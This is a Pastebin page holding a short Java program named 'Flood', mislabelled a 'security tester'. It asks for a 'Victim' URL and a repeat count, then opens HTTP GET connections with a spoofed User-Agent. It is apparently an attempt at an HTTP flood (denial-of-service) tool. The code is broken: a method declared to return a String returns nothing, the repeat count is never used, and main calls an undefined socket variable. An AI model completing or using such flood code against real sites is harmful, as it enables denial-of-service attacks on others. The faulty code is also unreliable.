Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Java Security Tester
- import java.io.*;
- import java.net.*;
- import java.util.*;
- public class Flood {
- private static String Victim;
- private static long Times;
- public static Scanner input = new Scanner(System.in);
- private static void GetVictim() {
- System.out.print("Enter Victim (With http://) : ");
- Victim = input.nextLine();
- System.out.print("Times : ");
- Times = input.nextInt();
- }
- private static String setVars(String Victim) {
- try {
- URL url = new URL(Victim);
- HttpURLConnection socket = (HttpURLConnection)url.openConnection();
- socket.setRequestMethod("GET");
- socket.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; JVM)");
- socket.setRequestProperty("Pragma", "no-cache");
- socket.connect();
- }
- catch(IOException ioe)
- {
- ioe.printStackTrace();
- }
- catch(Exception e)
- {
- System.err.println("General Exception " + e);
- e.printStackTrace();
- }
- }
- private static void Compile() {
- GetVictim();
- setVars(Victim);
- }
- public static void main(String[]args) {
- try {
- Compile();
- socket.connect();
- }
- catch(IOException ioe)
- {
- ioe.printStackTrace();
- }
- catch(Exception e)
- {
- System.err.println("General Exception " + e);
- e.printStackTrace();
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement